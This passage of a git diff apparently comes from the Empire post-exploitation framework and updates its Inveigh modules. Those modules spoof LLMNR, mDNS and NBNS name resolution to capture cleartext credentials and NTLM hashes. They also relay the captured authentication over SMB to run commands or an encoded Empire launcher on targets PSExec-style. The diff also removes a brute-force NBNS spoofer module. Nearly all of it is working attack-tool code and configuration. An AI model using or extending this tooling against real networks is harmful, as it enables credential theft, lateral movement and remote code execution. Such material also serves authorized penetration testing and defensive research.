$control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( + $RelayAutoExit).AddArgument($RunTime) > $null $control_relay_powershell.BeginInvoke() > $null } # HTTP Server Start -if($inveigh.HTTP -or $inveigh.HTTPS) +if($HTTP -eq 'Y') { HTTPListener } +# HTTPS Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener +} + +# Proxy Server Start +if($Proxy -eq 'Y') +{ + ProxyListener +} + # Control Relay Loop Start -if($RunTime -or $inveigh.file_output) +if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $RelayAutoExit -or $RunTime) { ControlRelayLoop } -if(!$inveigh.running -and $inveigh.console_output) +# Console Output Loop +try { - :console_loop while($inveigh.relay_running -and $inveigh.console_output) + if($inveigh.console_output) { - while($inveigh.console_queue.Count -gt 0) + if($ConsoleStatus) + { + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + :console_loop while($inveigh.relay_running -and $inveigh.console_output) { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else + while($inveigh.console_queue.Count -gt 0) { switch -wildcard ($inveigh.console_queue[0]) { - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" + {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} { - if($inveigh.file_output) + if($inveigh.output_stream_only) { - Write-Warning $inveigh.console_queue[0] + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.console_queue[0]) } - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } - "* for relay *" + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + if($ConsoleOutput -eq 'Y') + { - "* local administrator *" + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + + if($ConsoleOutput -ne "Low") + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } default { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) } } } - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) { - $inveigh.console_output = $false - BREAK console_loop + + if($inveigh.cleartext_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + + foreach($unique_cleartext in $inveigh.cleartext_list) + { + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext + } + + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv1_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) + { + Write-Output($NTLMv1_username + $inveigh.newline) + } + + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + if($inveigh.console_input) + { + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 } - Start-Sleep -m 5 + } + +} +finally +{ + + if($Tool -eq 2) + { + $inveigh.relay_running = $false } } diff --git a/lib/modules/powershell/collection/inveigh.py b/lib/modules/powershell/collection/inveigh.py index 4d48c0b..97c16d7 100644 --- a/lib/modules/powershell/collection/inveigh.py +++ b/lib/modules/powershell/collection/inveigh.py @@ -9,16 +9,18 @@ class Module: 'Author': ['Kevin Robertson'], - 'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool.'), + 'Description': ('Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Note ' + 'that this module exposes only a subset of Inveigh\'s parameters. Inveigh can be used ' + 'through Empire\'s scriptimport and scriptcmd if additional parameters are needed.'), 'Background' : True, 'OutputExtension' : None, - 'NeedsAdmin' : True, + 'NeedsAdmin' : False, 'OpsecSafe' : True, - + 'Language' : 'powershell', 'MinLanguageVersion' : '2', @@ -37,141 +39,152 @@ class Module: 'Required' : True, 'Value' : '' }, - 'IP' : { - 'Description' : 'Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set.', + 'ConsoleOutput' : { + 'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.', 'Required' : False, 'Value' : '' }, - 'SpooferIP' : { - 'Description' : 'Specific IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferHostsReply' : { - 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferHostsIgnore' : { - 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferIPsReply' : { - 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferIPsIgnore' : { - 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferRepeat' : { - 'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'LLMNR' : { - 'Description' : 'Enable/Disable LLMNR spoofing (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'LLMNRTTL' : { - 'Description' : 'Custom LLMNR TTL in seconds for the response packet.', - 'Required' : False, - 'Value' : '' - }, - 'NBNS' : { - 'Description' : 'Enable/Disable NBNS spoofing (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'NBNSTTL' : { - 'Description' : 'Custom NBNS TTL in seconds for the response packet.', - 'Required' : False, - 'Value' : '' - }, - 'NBNSTypes' : { - 'Description' : 'Comma separated list of NBNS types to spoof.', - 'Required' : False, - 'Value' : '00,20' - }, - 'HTTP' : { - 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'HTTPAuth' : { - 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', - 'Required' : False, - 'Value' : 'NTLM' - }, - 'HTTPBasicRealm' : { - 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', - 'Required' : False, - 'Value' : 'IIS' - }, - 'HTTPResponse' : { - 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.', - 'Required' : False, - 'Value' : '' - }, - 'WPADAuth' : { - 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', - 'Required' : False, - 'Value' : 'NTLM' - }, - 'WPADEmptyFile' : { - 'Description' : 'Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'WPADIP' : { - 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', - 'Required' : False, - 'Value' : '' - }, - 'WPADPort' : { - 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', - 'Required' : False, - 'Value' : '' - }, - 'WPADDirectHosts' : { - 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', - 'Required' : False, - 'Value' : '' - }, - 'SMB' : { - 'Description' : 'Enable/Disable SMB challenge/response capture (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'Challenge' : { - 'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.', - 'Required' : False, - 'Value' : '' - }, - 'MachineAccounts' : { - 'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).', - 'Required' : False, - 'Value' : 'N' - }, 'ConsoleStatus' : { - 'Description' : 'Interval in minutes for auto-displaying all unique captured hashes and credentials. (Y/N)', + 'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.', 'Required' : False, 'Value' : '' }, 'ConsoleUnique' : { - 'Description' : 'Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.', + 'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.', 'Required' : False, - 'Value' : 'Y' + 'Value' : '' }, - 'RunTime' : { + 'ElevatedPrivilege' : { + 'Description' : '(Auto/Y/N) Default = Auto: Set the privilege mode. Auto will determine if Inveigh is running with elevated privilege. If so, options that require elevated privilege can be used.', + 'Required' : False, + 'Value' : '' + }, + 'HTTP' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture.', + 'Required' : False, + 'Value' : '' + }, + 'HTTPAuth' : { + 'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type. This setting does not apply to wpad.dat requests.', + 'Required' : False, + 'Value' : '' + }, + 'HTTPContentType' : { + 'Description' : 'Content type for HTTP/Proxy responses. Does not apply to EXEs and wpad.dat. Set to "application/hta" for HTA files or when using HTA code with HTTPResponse.', + 'Required' : False, + 'Value' : '' + }, + 'HTTPResponse' : { + 'Description' : 'Content to serve as the default HTTP/Proxy response. This response will not be used for wpad.dat requests. Use PowerShell escape characters and newlines where necessary. This paramater will be wrapped in double quotes by this module.', + 'Required' : False, + 'Value' : '' + }, + 'Inspect' : { + 'Description' : '(Switch) Inspect LLMNR, mDNS, and NBNS traffic only.', + 'Required' : False, + 'Value' : '' + }, + 'IP' : { + 'Description' : 'Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is not set.', + 'Required' : False, + 'Value' : '' + }, + 'LLMNR' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable LLMNR spoofer.', + 'Required' : False, + 'Value' : '' + }, + 'mDNS' : { + 'Description' : '(Y/N) Enable/Disable mDNS spoofer.', + 'Required' : False, + 'Value' : '' + }, + 'mDNSTypes' : { + 'Description' : '(QU,QM) Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251.', + 'Required' : False, + 'Value' : '' + }, + 'NBNS' : { + 'Description' : '(Y/N) Enable/Disable NBNS spoofer.', + 'Required' : False, + 'Value' : '' + }, + 'NBNSTypes' : { + 'Description' : 'Default = 00,20: Comma separated list of NBNS types to spoof.', + 'Required' : False, + 'Value' : '' + }, + 'Proxy' : { + 'Description' : '(Y/N) Enable/Disable Inveigh\'s proxy server authentication capture.', + 'Required' : False, + 'Value' : '' + }, + 'ProxyPort' : { + 'Description' : 'Default = 8492: TCP port for the Inveigh\'s proxy listener.', + 'Required' : False, + 'Value' : '' + }, + 'RunCount' : { + 'Description' : 'Number of NTLMv1/NTLMv2 captures to perform before auto-exiting.', + 'Required' : False, + 'Value' : '' + }, + 'RunTime' : { 'Description' : 'Run time duration in minutes.', + 'Required' : True, + 'Value' : '' + }, + 'SMB' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable SMB challenge/response capture.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIP' : { + 'Description' : 'Response IP address for spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferHostsIgnore' : { + 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferHostsReply' : { + 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIPsIgnore' : { + 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIPsReply' : { + 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferLearning' : { + 'Description' : '(Y/N) Enable/Disable LLMNR/NBNS valid host learning.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferLearningDelay' : { + 'Description' : 'Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferRepeat' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.', + 'Required' : False, + 'Value' : '' + }, + 'WPADAuth' : { + 'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type for wpad.dat requests.', 'Required' : False, 'Value' : '' } + } # save off a copy of the mainMenu object to access external functionality @@ -202,7 +215,7 @@ class Module: script = moduleCode # set defaults for Empire - script += "\n" + 'Invoke-Inveigh -Tool "2" ' + script += "\n" + 'Invoke-Inveigh -Tool "2"' for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -215,6 +228,6 @@ class Module: quoted = '"' + str(values['Value']).replace(',', '","') + '"' script += " -" + str(option) + " " + quoted else: - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" + script += " -" + str(option) + " \"" + str(values['Value']) + "\"" return script diff --git a/lib/modules/powershell/collection/inveigh_bruteforce.py b/lib/modules/powershell/collection/inveigh_bruteforce.py deleted file mode 100644 index 062a479..0000000 --- a/lib/modules/powershell/collection/inveigh_bruteforce.py +++ /dev/null @@ -1,177 +0,0 @@ -from lib.common import helpers - -class Module: - - def __init__(self, mainMenu, params=[]): - - self.info = { - 'Name': 'Invoke-InveighBruteForce', - - 'Author': ['Kevin Robertson'], - - 'Description': ('Inveigh\'s remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. ' - 'This module can be used to perform NBNS spoofing across subnets and/or perform NBNS ' - 'spoofing without an elevated administrator or SYSTEM shell.'), - - 'Background' : True, - - 'OutputExtension' : None, - - 'NeedsAdmin' : False, - - 'OpsecSafe' : True, - - 'Language' : 'powershell', - - 'MinLanguageVersion' : '2', - - 'Comments': [ - 'https://github.com/Kevin-Robertson/Inveigh' - ] - } - - # any options needed by the module, settable during runtime - self.options = { - # format: - # value_name : {description, required, default_value} - 'Agent' : { - 'Description' : 'Agent to run module on.', - 'Required' : True, - 'Value' : '' - }, - 'SpooferIP' : { - 'Description' : 'Specific IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host.', - 'Required' : False, - 'Value' : '' - }, - 'SpooferTarget' : { - 'Description' : 'IP address to target for brute force NBNS spoofing.', - 'Required' : True, - 'Value' : '' - }, - 'Hostname' : { - 'Description' : 'Hostname to spoof with NBNS spoofing.', - 'Required' : False, - 'Value' : 'WPAD' - }, - 'NBNS' : { - 'Description' : 'Enable/Disable NBNS spoofing (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'NBNSPause' : { - 'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.', - 'Required' : False, - 'Value' : '' - }, - 'NBNSTTL' : { - 'Description' : 'Custom NBNS TTL in seconds for the response packet.', - 'Required' : False, - 'Value' : '' - }, - 'HTTP' : { - 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'HTTPAuth' : { - 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', - 'Required' : False, - 'Value' : 'NTLM' - }, - 'HTTPBasicRealm' : { - 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', - 'Required' : False, - 'Value' : 'IIS' - }, - 'HTTPResponse' : { - 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.', - 'Required' : False, - 'Value' : '' - }, - 'WPADAuth' : { - 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', - 'Required' : False, - 'Value' : 'NTLM' - }, - 'WPADIP' : { - 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', - 'Required' : False, - 'Value' : '' - }, - 'WPADPort' : { - 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', - 'Required' : False, - 'Value' : '' - }, - 'WPADDirectHosts' : { - 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', - 'Required' : False, - 'Value' : '' - }, - 'Challenge' : { - 'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.', - 'Required' : False, - 'Value' : '' - }, - 'MachineAccounts' : { - 'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).', - 'Required' : False, - 'Value' : 'N' - }, - 'RunCount' : { - 'Description' : 'Number of captures to perform before auto-exiting.', - 'Required' : False, - 'Value' : '' - }, - 'RunTime' : { - 'Description' : 'Run time duration in minutes.', - 'Required' : False, - 'Value' : '' - } - } - - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. - self.mainMenu = mainMenu - - for param in params: - # parameter format is [Name, Value] - option, value = param - if option in self.options: - self.options[option]['Value'] = value - - - def generate(self): - - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1" - - try: - f = open(moduleSource, 'r') - except: - print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) - return "" - - moduleCode = f.read() - f.close() - - script = moduleCode - - # set defaults for Empire - script += "\n" + 'Invoke-InveighBruteForce -Tool "2" ' - - for option,values in self.options.iteritems(): - if option.lower() != "agent": - if values['Value'] and values['Value'] != '': - if values['Value'].lower() == "true": - # if we're just adding a switch - script += " -" + str(option) - else: - if "," in str(values['Value']): - quoted = '"' + str(values['Value']).replace(',', '","') + '"' - script += " -" + str(option) + " " + quoted - else: - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" - - return script diff --git a/lib/modules/powershell/lateral_movement/inveigh_relay.py b/lib/modules/powershell/lateral_movement/inveigh_relay.py index 9b46d0c..fb02794 100644 --- a/lib/modules/powershell/lateral_movement/inveigh_relay.py +++ b/lib/modules/powershell/lateral_movement/inveigh_relay.py @@ -9,18 +9,20 @@ class Module: 'Author': ['Kevin Robertson'], - 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay ' - 'incoming HTTP NTLMv2 authentication requests to an SMB target. ' - 'If the authentication is successfully relayed and the account is ' - 'a local administrator, a specified command will be executed on the ' - 'target PSExec style. This module works best while also running ' - 'collection/inveigh with HTTP disabled.'), + 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay incoming ' + 'HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an SMB target. If the ' + 'authentication is successfully relayed and the account has the correct ' + 'privilege, a specified command or Empire launcher will be executed on the ' + 'target PSExec style. This module works best while also running collection/inveigh ' + 'with HTTP disabled. Note that this module exposes only a subset of Inveigh ' + 'Relay\'s parameters. Inveigh Relay can be used through Empire\'s scriptimport ' + 'and scriptcmd if additional parameters are needed.'), 'Background' : True, 'OutputExtension' : None, - 'NeedsAdmin' : True, + 'NeedsAdmin' : False, 'OpsecSafe' : False, @@ -38,35 +40,96 @@ class Module: # format: # value_name : {description, required, default_value} 'Agent' : { - 'Description' : 'Agent to run module on.', - 'Required' : True, - 'Value' : '' + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' }, - 'SMBRelayTarget' : { - 'Description' : 'IP address of system to target for SMB relay.', - 'Required' : True, - 'Value' : '' + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : False, + 'Value' : '' }, - 'SMBRelayCommand' : { - 'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.', - 'Required' : True, - 'Value' : '' + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' }, - 'SMBRelayUsernames' : { - 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.', - 'Required' : False, - 'Value' : '' + 'Proxy_' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' }, - 'SMBRelayAutoDisable' : { - 'Description' : 'Automaticaly disable SMB relay after a successful command execution on target (Y/N).', - 'Required' : False, - 'Value' : 'Y' + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' }, - 'RunTime' : { - 'Description' : 'Run time duration in minutes.', - 'Required' : False, - 'Value' : '' + 'Command' : { + 'Description' : 'Command to execute on relay target. Do not wrap in quotes and use PowerShell escape characters and newlines where necessary.', + 'Required' : False, + 'Value' : '' + }, + 'ConsoleOutput' : { + 'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.', + 'Required' : False, + 'Value' : '' + }, + 'ConsoleStatus' : { + 'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.', + 'Required' : False, + 'Value' : '' + }, + 'ConsoleUnique' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.', + 'Required' : False, + 'Value' : '' + }, + 'HTTP' : { + 'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture/relay.', + 'Required' : False, + 'Value' : '' + }, + 'Proxy' : { + 'Description' : '(Y/N) Default = N: Enable/Disable Inveigh\'s proxy server authentication capture/relay.', + 'Required' : False, + 'Value' : '' + }, + 'ProxyPort' : { + 'Description' : 'Default = 8492: TCP port for Inveigh\'s proxy listener.', + 'Required' : False, + 'Value' : '' + }, + 'RunTime' : { + 'Description' : 'Run time duration in minutes.', + 'Required' : True, + 'Value' : '' + }, + 'Service' : { + 'Description' : 'Default = 20 character random: Name of the service to create and delete on the target.', + 'Required' : False, + 'Value' : '' + }, + 'SMB1' : { + 'Description' : '(Switch) Force SMB1.', + 'Required' : False, + 'Value' : '' + }, + 'Target' : { + 'Description' : 'IP address or hostname of system to target for relay.', + 'Required' : True, + 'Value' : '' + }, + 'Usernames' : { + 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.', + 'Required' : False, + 'Value' : '' + }, + 'WPADAuth' : { + 'Description' : '(Anonymous/NTLM) HTTP listener authentication type for wpad.dat requests.', + 'Required' : False, + 'Value' : '' } + } # save off a copy of the mainMenu object to access external functionality @@ -82,6 +145,12 @@ class Module: def generate(self): + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy_']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + command = self.options['Command']['Value'] + # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1" @@ -96,11 +165,21 @@ class Module: script = moduleCode + if command == "": + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + + else: + + # generate the PowerShell one-liner with all of the proper options set + command = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) # set defaults for Empire - script += "\n" + 'Invoke-InveighRelay -Tool "2" ' + script += "\n" + 'Invoke-InveighRelay -Tool "2" -Command \"%s\"' % (command) for option,values in self.options.iteritems(): - if option.lower() != "agent": + if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "useragent" and option.lower() != "proxy_" and option.lower() != "proxycreds" and option.lower() != "command": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch